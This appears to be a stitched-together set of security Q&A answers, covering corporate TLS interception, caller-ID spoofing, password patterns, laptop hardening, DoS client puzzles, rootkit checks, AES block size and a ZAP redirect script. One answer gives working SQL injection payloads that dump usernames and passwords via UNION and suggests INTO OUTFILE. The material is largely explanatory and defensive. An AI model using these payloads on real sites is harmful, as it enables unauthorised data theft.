Removing the certificate will likely disconnect you from other company services (the mail server, intranet websites, etc.). However, using an addon called Certificate Patrol, you'll be at least notified when that happens (somebody MiTMing your SSL connection), but it can't do anything about the attack.

You could VPN/SSH to your home network and use that to connect to the Internet, but chances are that they intercept that as well. There's really nothing you can do about it. They give you the Internet access, they can do whatever they want.

Bottom line is: Do work stuff at work, and personal stuff outside


Precautions to secure (company) laptop & mobile while travelling

All of that info you got from your friends is very true, I have just have a few tips:

You can use proxy and vpn apps on android that will proxy all traffic through (phone traffic).

Lock your boot loader/bios!!

People seem to forget that you can simply boot (live?) another OS, and then modify/delete/view/copy all files (including password storage). It also makes it harder for thieves (somewhat) from making your computer do their bidding.


Someone is making random calls spoofing my phone number. What to do?

Not sure about Austria, but in the US it's quite easy to find software that masks the outgoing call's origination and replaces it with something else.  (I receive several calls per week from different numbers, all across the US, offering me a reduced rate on my credit card.  The recording is the same, so I know it's the same scammer calling.)

Based on that, I don't think that they're exploiting a threat - they could just be using this to spoof your number as the outgoing call.  Changing your number will help, but if this person or party decides to use your new number as the originating number, that will only give you relief for a short while.

I don't think that there's much you can do to stop it.  Finding who's spoofing your number is pretty hard - @Schroeder has a good suggestion.

More than anything else, the effect on you is the annoyance factor.  ,,Sie haben mich angerufen...'' ,,Leider nicht, jemand verfalscht sein Telefonnummer.  Tut mir Leid'' is about all you can do.


How to get the output of a SQL injection?

The problem with your approach is that PHP is not going to (Okay, as pointed out below in the comments, it is possible, but it is unlikely) execute more than one simultaneous query and as you are closing off the initial query with a semi-colon, then trying to create a new one at the start of the SELECT. You would have to UNION or UNION ALL them.

  username'; SELECT * FROM users;

Should be similar to:

  username='admin' UNION ALL SELECT CONCAT(username, 0x3A, password) AS details FROM users LIMIT 0,1;

Read this link for MySQL's UNION syntax http://dev.mysql.com/doc/refman/5.0/en/union.html

There are two main types of SQL Injection, they are Blind and Error-based.

Blind is where you will not get any output from the given query, you may just notice a piece of text or image or something else missing from the page, and you have to enumerate through various options to get the desired result.

Error-based is, as the name suggests, where the script will throw an error, and you can see exactly what you need to do. You will see the result of the injection somewhere on the page or in the source code of the page at least.

In all cases, you should be able to use MySQL's INTO OUTFILE syntax to output the query results into a file, assuming you have the right permissions to do so.

http://www.tech-recipes.com/rx/1475/save-mysql-query-results-into-a-text-or-csv-file/

This is for most cases of MySQL injection, however, there are more than two types of SQLi, but for purposes of this conversation, they are the main ones you need to know about.

This is a good tutorial on SQL injections: http://www.exploit-db.com/papers/13045/


Is it safe to protect the write permission only with a publicly accessible hashed password?

Blockchain database like Bitcoin works on essentially the same constraint and principle. So yes, it can be made safe. With that said, it's easy to get this wrong and unless you're doing something like a Bitcoin, there are often simpler and easier ways to achieve the same security goals. There are also lots of ways to make something that matches your description that is insecure, so your description itself isn't sufficient to rule out that it may be insecure.

The main technique to secure such database though, is that you need to use asymmetric cryptography. Rather than using passwords, you instead cryptographically sign any data you authored with your private key that other people can verify using your public key. A public key can be published publicly and can be read by anyone without compromising the security of the system, the private key is the "password" that one can use to prove that contents you author and an amendment to those contents is made by the same author.

If you don't want users to deal with managing a key pair and if you trust that your users don't use weak passwords, it's certainly possible to publish an encrypted version of your private key to the database and use a password to encrypt that password. If you do this, then from users' perspective everything will look and behave exactly the same as what you described, in that your authorship is protected simply by a password, though the difficulty of enforcing everyone to use strong password means that this is likely to be weaker in practice than if users just keep their private key to themselves instead of publishing the encrypted private key.


How much less secure is a password with a repetitive pattern of characters?

How much less secure is this compared to using a password that is totally random?
Or are both options equally hard to bruteforce?

These questions are a little meaningless without a security context. The Electronic Frontier Foundation has an excellent guide called "Assessing Your Risks". Points 2, 4 and 5 from their checklist seem the most relevant here:

What do I want to protect?

Who do I want to protect it from?

How bad are the consequences if I fail?

How likely is it that I will need to protect it?

How much trouble am I willing to go through to try to prevent potential consequences?

The password scheme you present is only good until the attacker figures out your pattern and builds a wordlist based on that pattern.
Who do you want to protect it from?
Your pattern will be very obvious to anyone who hears you type it. So if your threat model includes family members, co-workers, someone who can place a microphone in your room get access to your cell phone, then it's adding almost no value.
How likely is it that I will need to protect it?
If you're using this pattern across all websites, then it's only a matter of time before your passwords start showing up on haveibeenpwned.com.
Are you enough of a target that cyber criminals will spend time studying you? Do you have a close friend or family member who is a journalist with international enemies? For example, is your company a target for ransomware or military / industrial espionage? If yes, then someone studying you will find your old leaked passwords and figure out pretty quickly what your pattern is.
How much trouble am I willing to go through to try to prevent potential consequences?
The answer to this question will depend on how you answered the questions above.
If this password is protecting something that would be valuable to national / criminal security groups, then you should a proper strong password, not something based on a "trick". The EFF has a guide for creating strong passwords, and I suggest you read it.
Bottom Line: The password scheme you propose will probably keep you safe from random drive-by password guessing, but for the same effort you might as well do something stronger like DiceWare passwords or a password manager.


Squid SSL Bump - getting "unknown issuer" despite having certificate, do I need CA?

You need to add the generated CA certificate to your browser as squid is performing MITM on your https connections.


With the HTTP proxy, user systems can have local private addresses (e.g. addresses in the 10.0.0.0/8 or 192.168.0.0/16 networks) since, at the TCP/IP level, these systems only talk to the proxy, not the Internet at large. With the "bump-in-the-wire" box, user systems must be able to contact arbitrary external sites more or less directly, which involves either public IP (expensive !) or some NAT (which can have problems scaling to thousands of local users).

The bump-in-the-wire box also needs to intercept incoming and outgoing traffic, and, as such, may be cumbersome to retrofit in an existing architecture. The HTTP proxy, on the other hand, is an ordinary host, as far as routers are concerned.


Is the developer mode like the opened door for hackers to debug the mobile app?

No, that's a terrible idea. A few reasons why:

There are a lot of legitimate app developers, and they shouldn't need a separate phone to test their own app than they do to use yours.
There are a lot of legitimate reasons for end-users to use development mode, such as using Helium Backup.
It's really easy for any hacker even slightly more competent than a script kiddie to trick your program into thinking development mode is on when it's not.
If your security model relies on trusting the client, it's as good as broken anyway, and you'd only be giving yourself a false sense of security.


rule of thump:

if  open-source-server (e.g. apache, nginx, lighttpd et al)
AND if tls 1.2 is available
then the service was most probably affected by heartbleed


Beginner > Medium > Advanced Books/Guides/Tutorials on TCP/IP

TCP/IP is a complex topic and there are probably many answers to your question. For a beginner, after reading the respective Wikipedia articles (often an underrated source), I can recommend the CCNA Study Guide, they are not only taking Cisco hardware into account and it's a renowned institution. The CompTIA Network+ Deluxe Study Guide is much more in depth, more like a reference book with around 800 pages.

After this, it would probably a good idea to set up some networks yourself in virtual machines (especially if you want to go for OSCP). The LPIC learning resources can help you a lot here.

You should be selective, tho, unless you want to work as an admin. Many of the functional aspects of networking can be skipped, as well as the more hardware related setup of networks. Most pentesting books assume just a basic knowledge of TCP/IP and you really don't need a huge lot more unless you are really into WiFi penetration.


How can I capture all data from a specific device on my network?

You can start with Wireshark. You will also need AirSnort or AiroPeek. For real advanced stuff check out KISMET.

Finally if you intention is non-intrusive, non-disruptive, you might want to use a TRIAL version of SolarWinds. I'm not sure as they have multiple utilities for various purposes. Check out SolarWinds web-site & make a wise choice for yourself. SOLARWINDS is a Paid software & costly too. You might get a Trialware for free initial 30 days.
Hope this helps,thank you :)


Netstat isn't going to show ICMP.

Try installing Microsoft Network Monitor:
https://blogs.technet.microsoft.com/netmon/p/downloads/

Start a capture, filter on ICMP and the destination IP, and you should be able to see the Process Name.


Is it a good approach to deploy a honeypot behind the firewall

The architecture that you're suggesting would allow you to capture potentially malicious traffic directed at services running on the ports that you forward from the public IP address.

If that's your goal then it seems a reasonable approach.  One suggestion, depending on how much you trust the honeypot software, would be to isolate the honeypot machines in their own logical network, such that if an attacker breaks out of them, they have more difficulty in attacking other systems in your environment.

The primary difference I can see between that approach and placing the honeypots "outside" the firewall is that you wouldn't need to maintain firewall rules to allow traffic to them and also if they're compromised there is likely less risk to the other areas of your network.


What if internal certificate details like CN, Serial Number, validity, CA etc. are shared to external parties from my intranet site?

Those is publicly available information. They are contained in the certificate and you "leak" them to all clients.

What exactly are you concerned about?

Your certificate is meant to be public.

Edit for the edited question:

Yes, those things can make the life of an attacker easier.

the CN can leak the naming scheme for the network
the CA can leak information on how it can be breached or impersonated
the validity gives a rough time slot for when it will most likely be rolled over.

Yet, for all these informations to be useful, an external attacker would need to have access to your internal network.

Other security measures should prohibit this - and if the attacker has access, the data is again more or less public.

The biggest "leak" from my point of view is the naming scheme of the intranet. That makes the discovery process easier for an attacker.

Yet, nothing to freak out about - especially since the client will probably dispose of the information more or less instantly.


API pentesting for mobile and web. What's the difference?

That will depend on what you wish from the testing.
What do you wish to test?

If you wish to test your webservice or Serrver side API with the objective that anyone can build a client to interact with it then you just need 1 test to make sure the service is strong and matches your needs.

If you are developing your own front end system to interact with the Server API then you will require to test them also.

Only then you can confirm that your fronted is working properly and cannot be leveraged by any malicious actor to subvert the API.


Is this PHP TOTP (time based one time password) idea sound?

It is not clear whether the server already knows both the filename and the content of the file which is created at a given UTC time.

If these data are already known, an attacker could somehow guess or  retrieve them, and then build an attack by trying all the 60 possible "final passwords".
If these data are not already known and are sent within the same request, an attacker might create an arbitrary file on the server by creating a new request,containing filename, content, UTC second(which can be brute-forced in less than 60 attempts) and the corresponding password.


Will packet sniffing still work if all connections go through a local proxy?

If you are connecting through a local proxy you should normally still be able to sniff all your own outgoing packets.


Is it possible to enroll on behalf if only public key of client is known?

Ok, after some struggling I found that this is possible using CMP. Unfortunately the Microsoft CA I used in the beginning seems to ignore some standards so I didn't get it to work.

Using EJBCA did the trick. I was able to do exactly what I want following the code snippets in the documentation. Just setting the ProofOfPossession-flag to RAVerified helped to achieve the desired behaviour.
Here's a codesnippet using the bouncycastle-library:

    CertificateRequestMessageBuilder msgbuilder = new CertificateRequestMessageBuilder(certReqId);
    X500Name issuerDN = new X500Name(issuerDNString);
    X500Name subjectDN = new X500Name(subjectDNString);
    msgbuilder.setIssuer(issuerDN);
    msgbuilder.setSubject(subjectDN);
    final byte[] bytes = keyPair.getPublic().getEncoded();
    System.out.println(Base64.getEncoder().encodeToString(bytes));
    final ByteArrayInputStream bIn = new ByteArrayInputStream(bytes);
    final ASN1InputStream dIn = new ASN1InputStream(bIn);
    final SubjectPublicKeyInfo keyInfo = SubjectPublicKeyInfo.getInstance((ASN1Sequence) dIn.readObject());
    dIn.close();
    msgbuilder.setPublicKey(keyInfo);
    GeneralName sender = new GeneralName(subjectDN);
    msgbuilder.setAuthInfoSender(sender);
    // RAVerified POP
    msgbuilder.setProofOfPossessionRaVerified();


Securing a Laptop from a Foreign Intelligence Agency

I am assuming that there is some reason you can't use a dozen different laptops in multiple countries or jurisdictions doing the same activities to provide extremely high redundancy (as pointed out in a comment on the question). If any of the laptops have results that differ, at least one of them can be assumed compromised and incident response can kick in. The number of independent computations could be scaled to match your requirements. This of course assumes that the activity done on the laptop is deterministic and that there is only one "right answer", allowing any honest and uncompromised party to come up with the exact same results.
Assuming you need to maximize integrity for a single laptop, your plans seem solid. I would however make a few changes and additions to your proposal:

Switch to Linux so vulnerabilities are not given to nation states before being patched.

Require that those who handle the laptop provide a comprehensive chain of custody.

Don't just disable unused peripherals, cover them with anti-tamper epoxy resin.

Disallow using any untrusted peripherals. Even VGA/HDMI can be vulnerable!

Do not use custom software to hash binaries. Secure software already exists.

Require smartcards to identify to the device. Shamir's Secret Sharing is useful.

Mind EMSEC by working in a secure area or using shielded devices.

Mutual authentication
It's important that the users of the computer are able to authenticate to it. Normally, it is the user who authenticates themselves to the computer, but in high-risk environments, it may be necessary for the computer to authenticate itself to the user as well. This can be done using various experimental mutual authentication technologies like MARK, which uses an active USB device.
Each person who uses the laptop should be using a smartcard as part of the authentication process. This card should be kept physically secured. Depending on your threat model, it may even need to be hidden while on the person. It is possible to use secret sharing algorithms to ensure that a threshold of authorized individuals are required to fully authenticate themselves to the system. This could be set up such that, say, five people have keys, and at least three of them must use their keys at the same time to authenticate. This will protect from up to two people going rogue while still allowing authentication even if up to two people lose access. The exact parameters, including the weight each person holds, can be tweaked at will to match your threat model.
Firmware and software integrity
Assuming that the TPM is used for SRTM, it will be able to detect any modifications to the bootloader and related software, as well as certain firmware and even the BIOS itself, assuming the BIOS contains a read-only boot block (the CRTM). If encryption is also used, this provides a greater level of tamper resistance. Unfortunately, most block modes are malleable (plaintext can be intelligently modified even without knowing the key), so it is necessary to have the OS verify all components of the system even after boot, for example by using IMA, the Integrity Measurement Architecture, available on Linux.* IMA may reduce I/O performance by breaking demand paging.
Often, the NIC or USB controller will still be active even if the operating system is ignoring them. A vulnerable BIOS could be compromised through such interfaces. Most systems' BIOS are horribly insecure and allow both local attackers (malicious processes running on the machine) and physical attackers to gain higher privileges. You can do some limited analysis of BIOS security by using the CHIPSEC framework. This framework is designed to verify certain security attributes for a platform's firmware. Important information is available on their wiki. This framework is designed primarily for BIOS vendors and OEMs who wish to look for vulnerabilities that allow the firmware to be overwritten at runtime despite standard software write locks put in place.
* I have little experience with Windows, but I believe it is possible to support such integrity with that operating system. However, it is important to remember that nation states often get prior notice to vulnerabilities in Windows before they are disclosed publicly or even patched. For this reason, Windows is likely not the best platform to be using.
Physical attacks
If someone gains unrestricted physical access to a laptop, it is not your laptop anymore. There are a number of different physical attacks that one can carry out. Some of them can be mitigated, whereas others would require you physically modify your laptop to mitigate:

DMA attacks - Many peripherals support direct memory access, both internal and external. External GPUs, Thunderbolt, Firewire, and internal PCI and PCIe ports all support DMA. This support allows anyone who connects a device to these interfaces to perform reads and writes to arbitrary memory locations. The mitigation requires your laptop have a proper DMAR table and a modern IOMMU (VT-d2 for Intel). You must also boot with the IOMMU enabled, e.g. by passing intel_iommu=on to the boot command line on Linux.

Cold boot attacks - Passive retrieval of memory is possible by removing the memory modules and placing them in a different device to read. This allows them to read sensitive data, but does not allow tampering, as it is a highly invasive procedure that necessarily requires the target machine to be shut down. Full memory encryption mitigates this, and the use of ECC memory can also complicate the attack (ECC typically requires the memory modules be reset to a known state during initialization).
Cold boot attacks only compromise confidentiality of data in memory, not integrity. If integrity is all you need, then cold boot attacks are not relevant to your threat model.

JTAG - JTAG is a debug protocol and interface on the motherboard for many devices from ones as simple as CPLDs to ones as complicated as enterprise x86 processors. Plugging a JTAG probe into the interface allows complete, absolute control of the chipset, allowing them to halt the machine, read and write registers and memory, and interact with peripherals. If an attacker manages to connect to the target using JTAG, all bets are off. You need to ensure the device either does not have a JTAG header, or that the header has been destroyed or coated with epoxy.

Additionally, physical attacks may involve connecting to a vulnerable peripheral. Nearly everything can be vulnerable, even VGA and HDMI can be exploited by abusing things like EDID. USB devices may support DCI, and a few fail to disable it in their BIOS. These systems can see USB abused to pass JTAG commands without opening the machine and connecting a probe to the motherboard. Networking interfaces can be vulnerable, and vulnerabilities have been found. Sometimes it is not enough to simply disable the ports in software, as various DCI vulnerabilities have shown. You may need to physically block the ports using a strong epoxy resin.
Physical tamper evidence
There are several ways to detect physical tampering with a device. All of these methods require you take a high-resolution photograph of the machine at multiple angles so that you can compare them against your actual machine at any time that you suspect it may have been modified. Any solution for detecting physical tampering will be visible as a discrepancy between the photo and the actual device. The general idea is to place something in sensitive areas of the device which will be visibly broken or moved if that area is intruded upon. A few examples:

Security tape - The standard way is to use tamper-evident security tape. These are stickers or strips of tape that leave unique marks on the surface if they are removed, and which are designed to be resistant to steam or other techniques used to gently pull them off. These can get quite expensive, supporting features such as holographic labels and unique marks.

Epoxy resin - Epoxy is a strong glue-like substance that sets in and cannot be easily removed without destroying anything that it coats. There are many types of epoxy of differing strengths and properties. You would want one which is designed to resist tampering (e.g. designed not to easily be removed with solvents or fine drills), as well as non-conductive and non-thermally insulating, to prevent shorts and overheating. When used correctly, epoxy resin can both resist physical attacks (tamper-resistance), and make successful attacks visible (tamper-evidence).

Nail polish - Nail polish that has a lot of glitters is actually very, very useful as a form of a ghetto security seal. When placed around the joints of a system, it becomes extremely difficult to open it without moving the glitter. Once the glitter is disturbed, it becomes nearly impossible to place it back exactly as it was, leaving valuable evidence behind for the defender.

Emission security (EMSEC)
When you have nation states as an adversary, covert monitoring of electromagnetic signals is a very real possibility. These signals can be used to read keystrokes from 20 meters away or more. It can be used to perform Van Eck Phreaking to view computer displays through walls. It can be used to break encryption by listening to the processor as it works on cryptographic material. Mitigating this requires a large, secure perimeter (several hundred meters), or using a TEMPEST-certified device. These certifications do come from the government (e.g. NATO SDIP-27 and USA NSTISSAM), but they allow devices to be certified as immune dangerous to EMI/RFI leakage.
Unless you are in a secure, shielded room or have a large and secure perimeter, you must make sure your devices are shielded while they are being used for sensitive operations. While not strictly related to electromagnetism, it is also important to use the device in a room with no windows, just as high-security government facilities do. This prevents audio (both from conversations, and from the keyboard) from being recovered using laser microphones. If your budget or circumstances make any of this impossible, you must rely on standard OPSEC to prevent your adversary from getting close enough at the critical time to record sensitive emissions.


Prevent denial of service attacks against slow hashing functions?

One possibility is to consider using client puzzles.  The basic idea is to force the client to do a significant amount of work, and prove it has done so, before you will accept a username/password pair and try to validate it.

Here is an overview of the approach.  The server generates a random puzzle, and sends the puzzle to the client.  The server generates the puzzle in a way that it can predict reasonably well how much effort will be required to solve the puzzle (e.g., 100ms of computation).  The client solves the puzzle, and then sends the solution along with the user's username and password.

In a web setting, this would probably be implemented with Javascript: the login page would contain the Javascript code to solve the puzzle and the puzzle description.  A legitimate user's web browser would run the Javascript on the page, which would solve the puzzle and include the solution in the form along with the username and password.

This makes it harder for an attacker to DOS the server.  For instance, if it takes the server 100ms of computation to check the validity of the user's password, and if the server chooses a puzzle that takes 100ms to solve, then an attacker will have to do at least as much work as the server.  If you turn up the dial to select puzzles that will take 200ms to solve, then now the attacker has to do twice as much work as you, to DOS you.  Thus, this does not prevent DOS, but it makes it harder and requires the attacker to invest more resources -- which may reduce the risk somewhat.

Here's a very simple example of how to construct a puzzle.  The description of the puzzle is a random 128-bit number R (chosen by the server, and sent to the client).  The goal is to find a number n such that SHA256(R, n) is zero in its low 20 bits.  The client can loop over values of n (test whether n=0 is a solution, test whether n=1 is a solution, test whether n=2 is a solution, ...) until the client finds a solution.  On average, you should expect this to take about 220 trials.  If the client can perform about ten million hashes per second, then 220 trials should take about one-tenth of a second (100ms).  Once the client finds a solution, the client can send n to the server.  Note that the server can quickly verify that n is a valid solution to the puzzle (it takes only one hash, not a million hashes).  This creates the required assymetry, where the server can very quickly generate new puzzles and verify claimed puzzle solutions, but where it takes longer to solve the puzzle, and where the server can control how long puzzle-solving takes with a fair degree of accuracy.  This is just one example of a puzzle construction; there has been a great deal of research on this problem, and there are better constructions.

You might be especially interested in kaPoW, which implements this idea for the web context.

The main limitation is that this is not going to be secure against dedicated attack.  A serious attacker can just acquire a botnet of a few hundred machines (this is not that expensive) and DOS you, and now you're completely hosed.  Client puzzles can't stop that kind of attack: they can only stop a relatively low-grade attack.  However, stopping DOS is in general very difficult.

A secondary limitation has to do with the broad variability of computational power of clients that might access your website.  A puzzle that a high-end desktop can solve in 100ms might take a mobile device 1000ms to solve (I'm making up numbers here).  If you choose parameters that make the puzzle relatively easy to solve on the lowest-power device that is ever likely to access your website, then you may find that security against high-end desktops is degraded.  Also, it seems plausible that a C program (run by an attacker) might be able to solve the puzzle much faster than the Javascript (run by legitimate users), which would further exacerbate the gap between how fast an attacker can solve puzzles vs. how fast the slowest legitimate client can solve them.  This gap degrades security.

A tertiary limitation is that client puzzles require the client to use Javascript, to log in.  However this might be acceptable.

A variant of this idea is for the server to monitor itself and check whether it is under heavy load.  Under normal conditions, skip the puzzle.  However, if the server seems to be under DOS attack, then start requiring login attempts to come with a puzzle solution.  This mitigates some of the disadvantages of the client puzzle approach, but still is far from perfect, and still cannot withstand a serious DOS attack.

I describe this potential solution, in case you interested, but I don't really recommend it for most sites.  For most sites, the risk of DOS is relatively low, and if it does occur, you can deal with it at the time.  For that reason, my guess is that it probably isn't worth your time or energy to implement these kinds of defenses.  If you've got that much extra time and energy to spare, you might be better off spending it building new features or making your site better.


Detect and remove rootkit from Debian 8.5 (x64)

The best way to really identify if you have a rootkit is performing a forensic analysis.
But first of all: be sure you have and updated backup.

If you are seeing files "offline" with the liveCD, and not with the normal system running, maybe they have some kernel hooks. To verify this point, you can compile busybox with -static flag in a different computer, then check if the results with the system ls and busybox ls are different.

Usually rootkits hide themselves from system commands, you can also check for process with system ps and busybox ps to see if there are any differences.

Finally, you can use volatility to analyze a memory dump from your system to see the process you have running and discover that rootkit.


Yes, there are a few guidelines:

1) Filter phishing mails at your company's mail server. This will already help a lot. Of course not so much against mentioned spear phishing where only few mails are sent to specific persons, but it might catch these as well.
2) If there is a phishing campaign, immediately counteract it by sending awareness mails.
3) Answer mails of questionable origin with attachments in a safe environment like Tails if you are not sure whether they might be authentic.
4) And most relevant for you: Don't give out internal mails randomly. If someone wants to contact some people inside of your company, he or she should just contact one person which then forwards the mail if necessary. There is a reason all companies have one single point of contact.

Phishing is done because it works and is hard to protect against. The safest way is to configure a mail server accordingly because that's the spot where all the mail traffic goes through, even the one intended for single persons. It is possible to analyze the incoming mails with simple scripts and alert people. For example a coworker in research and development is likely to have the same mail contacts again and again. Much similar to an Intrusion Detection System that works based on anomalies, an incoming mail from a stranger should be logged as a potential phishing attempt. This is, however, much harder to do for people working in customer service.


Create a LDAP server for setting up the users and then use one of the multiple wordpress ldap plugins to handle the authentication.


AES/Rijndael Encryption Does block size matter for security?

Block size does matter for security, but only up to the point where there is no possible attack with plausible technology. In a nutshell, an n-bit block cipher is safe for use with up to a little less than 2n/2 blocks of data encrypted with the same key. The n/2 figure comes from the birthday paradox: that's when you get a macroscopic chance of repeat values if you draw blocks at random. For a 64-bit block cipher, that means you must not encrypt more than a few gigabytes (264/2 blocks of 64 bits is 32 GB). Sweet32 is an example of a concrete attack against a cipher (3DES) due to its small block size.

AES has a 128-bit block size (regardless of the key size). This is safe up to exabytes of data encrypted with the same key.

For more information on how AES's block size was chosen and some examples of attacks that are practical with a block size that is too small, see Difference between Rijndael 128 / 256 blocksize implementations? (and impact of block size in general).

So there is no security benefit to “AES with a 256-bit block size” compared to regular AES. Worse, “AES with a 256-bit block size” has security problems that regular AES doesn't have.

The first problem is that “AES with a 256-bit block size” does not exist. AES is a 128-bit block cipher. All there is is Rijndael with a 256-bit block size and whatever number of rounds. Since it is not standard, most cryptography libraries do not implement this 256-bit-block variant. This limits you to a few implementations or possibly a home-grown one, instead of implementations that have had solid scrutiny and are actively maintained. For example, you may have a hard time finding an implementation that has been hardened against timing attacks and other side channel attacks — in cryptography, getting the correct result is far from the only requirement.

Another problem is that AES specifically has had more scrutiny than Rijndael in general. It's possible that some attacks only apply to a specific set of parameters, for example a specific block size. A known example is that related-key attacks (which do not matter in practice) are markedly worse against AES with a 256-bit key than against AES with a 128-bit key.

A third problem is that since the parameters they're using are non-standard, you have less confidence that these API designers chose the other parameters securely. In particular, a larger block size requires more rounds (Rijndael proposal, 7.6). If they kept the same number of rounds, or worse if they chose a lower number of rounds to compensate for the lower performance of larger blocks, this could make the result easier to break. There are known attacks against AES with a reduced number of rounds, which no one knows how to use to effectively break the full number of rounds, but which might apply to a Rijndael variant with custom parameters.

All the risks of using a non-standard Rijndael variant pale against the use of ECB. Using ECB shows a basic lack of understanding of cryptography. The classic picture where patterns are clearly visible is just one of the problems with ECB that happens to be easy to illustrate graphically. Encryption without authentication also tends to allow a large class of attacks called oracle attacks, where the attacker sends encrypted blocks without knowing their content and observes how the party with the key behaves. What oracle attacks might be possible depends on the protocol, but ECB is not randomized (no IV or nonce), which tends to make such attacks a lot easier.

In a nutshell, the use of non-standard cryptography and the use of ECB are both red flags against the security of a product.


Is this "forgotten-password" procedure safe/legal?

First, questions about legality should be directed to https://law.stackexchange.com.  As for the rest let's break it down to secret question security and id security:

Secret Questions

Using secret questions at all for account recovery has basically been a "deprecated" security step for quite a while.  My go to example of why this is a bad idea is the hacking of Sarah Palin's email account during the 2008 US presidential election.  The person who accessed her email did so by using the password reset feature in yahoo, which he was able to do because they used secret questions and all of her questions/answers were based on publicly available information about her life.

As a general hint, anytime I do encounter a site that uses security questions, I don't actually answer any of the questions asked.  Instead I generate a long random string (which I store in a password manager or what-not) and use that for the answer.  Because security questions are based on personal information they are a risk factor primarily for targeted attacks (aka Sarah Palin).  As a result using a random string as an answer to a security question means that even if someone knows the middle name of your second grade teacher, the still won't be able to break into your bank account (because you didn't actually answer the question they asked).  So whatever you do, if a site is using security questions, treat it like a password and provide a long random string.  Also keep in mind that whoever setup the site isn't actually doing security well.

Onto the actual question though: "Is this safe?".  Safe is a meaningless term in the security world.  Nothing is safe.  It is only ever "safe enough for my purposes".  From that perspective I probably wouldn't worry too much if they were storing your answers in plain text.  The answer to a couple security questions probably won't help an attacker very much because few sites these days still use them and the questions themselves vary from site to site.  As a result even if someone got a hold of an answer to a security question of yours on one site you use, they can't just go around gaining access to other accounts of yours like they can if they had found the one password you used everywhere.  However, now might be the time to go find all your accounts on systems that have security questions and replace them with gibberish instead of actual answers (or just delete your account since these people don't know what they are doing).

Emailing identification

I think you pretty much know the answer to this one yourself, but just to say it out loud: emailing around sensitive PI (personal information) over an insecure channel is definitely a bad idea.  In this case though it has the advantage of at least letting you know that they have poor security practices.  I used a system once that required me to take a picture of my ID using my computers webcam over a secure HTTPS connection.  Sounds good of course (or at least, that's the minimum required to do it well).  For all I know though they stored pictures of my id in a public AWS S3 bucket which will later be found by hackers and then splashed across the news (and happens every other day).

I realize that's not much consolation, but since it's quite obvious that having your personal information sent across unencrypted channels is a terrible idea, I figure I might as well try to find some good news.  At least now you know that their security is terrible, and you can take measures accordingly - generate and use a unique and long password for this site, change the answers to your security questions to be long random strings, store as little information in their system as you can get away with, and complain loudly to whoever you can about how poorly they are using and storing your data.  If you can also confirm that they are storing your data illegally, then you have a whole new slew of people you can complain to, so perhaps something can even be done about it (but I wouldn't hold your breath).


How to facilitate the export of secret strings from an offline system?

As you have found yourself, random strings, especially cryptographic secure ones, cannot usually be compressed.

If you are mostly worried about typos, and you can accept an increase in length, you could use a wordlist approach, for example using the PGP word list or the S/KEY dictionary.

Alternatively, you could opt for bar codes. They don't require a proper "camera" in the traditional sense of the word. Using this approach, you would simply buy one (or more) barcode readers and use them to read the secrets from a piece of paper.


How to redirect any response to an arbitrary location in OWASP ZAP's request editor?

edit: working solution below!

I would look at building a proxy rule script to check for the URL path being called, and then make a call to the 'response' path.

Examples:
https://github.com/zaproxy/zap-core-help/wiki/HelpAddonsScriptsScripts

Here is the example template for proxy scripts:
https://github.com/zaproxy/community-scripts/tree/master/proxy
and the corresponding documentation for the HTTPMessage object that you'd be handling:
https://www.zaproxy.org/2.5/javadocs/org/parosproxy/paros/network/HttpMessage.html

simple solution

I don't work with javascript(mostly a python guy), but let's see if we can work through a basic script:

Here's the example JS proxy script template linked above:

/**
 * This function allows interaction with proxy responses (i.e.:
inbound from the server to the browser/client).
 *
 * @param msg - the HTTP response being proxied. This is an HttpMessage object.
 */
function proxyResponse(msg) {
// Debugging can be done using print like this
    print('proxyResponse called for url=' +
msg.getRequestHeader().getURI().toString())
    return true
}

So if we want to go somewhere else, we can try a 307(temporary redirect) like so:

function proxyRequest(msg) {
return true
}

function proxyResponse(msg){
    print(msg.getRequestHeader().getURI().toString());
    if (msg.getRequestHeader().getURI().toString().contains("edit_desc?content=")) {
        print("Found the URL!");
        var uri = msg.getRequestHeader().getURI().toString()
        var username = uri.match(/content=(.*)/)[1];
        var redirUrl = "http://example.com/"+username;
        msg.getResponseHeader().setStatusCode(307);
        msg.getResponseHeader().setHeader("Location", redirUrl)
    return true;
    }
}

If you throw that in a new proxy script(if you're having trouble with it not letting you make a new script, duplicate another and replace everything), enable it, and voila, it redirects any requests with 'edit_desc?content='user to 'http://example.com/user' after submitting the request to the server.

script in action

script enabled:

request in history:

response view:

browser state:


Wi-Fi asks to accept (self-signed) certificate – What is it used for?

Sorry, ignore my earlier comments, I somewhat misread your question at first.

The eduroam network is asking you to accept their certificate so that your device can then use the public key linked to the certificate to make sure the server is who they claim they are and securely submit your login credentials for the network. So yes, this has to do with the 'Enterprise' in WPA Enterprise, as the 'Personal' (PSK) mode of WPA does not allow you to control network access on a per-user basis.

To expand a bit on that: In WPA, communications are symmetrically encrypted using a key that is generated in a so called four-way handshake from a pre-shared secret, random values that change for each session and some access point specific information. If you're interested in the details of the handshake, here is a great stackexchange answer that explains them.
The difference between personal and enterprise mode lies in what the pre-shared secret is. In personal mode, the secret is a predetermined passphrase (between 8 and 63 characters in length, I believe). Users implicitly 'authenticate' themselves through their knowledge of the passphrase which is obviously less secure than forcing them to actually prove they are a certain someone who was authorised to use the network. An additional problem is that users can eavesdrop on each others' conversations if they record someone else's handshake at the beginning of their session.

The enterprise mode on the other hand allows for a multitude of authentication methods that are handled by a so called RADIUS server. In your case, the eduroam network seems to use either the EAP-TTLS or PEAP method, both of which rely on a X.509 certificate to authenticate the server and establish a secure TLS tunnel to submit the user login credentials. The following is taken from the FAQ section of the eduroam network's website (emphasis mine) :

  IIn eduroam, communication between the access point and the user's home institution is based on IEEE 802.1X standard; 802.1X encompasses the use of EAP, the Extensible Authentication Protocol, which allows for different authentication methods. Depending on the type of EAP method used, either a secure tunnel will be established from the user’s computer to his home institution through which the actual authentication information (username/password etc.) will be carried (EAP-TTLS or PEAP), or mutual authentication by public X.509 certificates, which is not vulnerable to eavesdropping, will be used (EAP-TLS).

[source]

As you can see, alternative authentication methods could also include the use of client-side certificates for user authentication.

Now to come back to your question, the purpose of the server-side certificate here is to prevent someone else from posing as the access point and stealing your login credentials.


How does the error message "Incorrect username or password" prevent user enumeration?

Obviously, if there are other techniques for enumerating the users, then having the single message is of little use.  But many forums only allow you to see user profiles once you are logged in, and if the forum is invite-only, then you would not be able to use this.  Most likely, they are designing the login system for any case/combination of login system.

Naturally, in higher security applications (banking, etc.) steps are taken to try to ensure that there is no way to enumerate all users on the site, both through the login form and through other mechanisms on the site.


Encrypted container on top of a copy-on-write filesystem

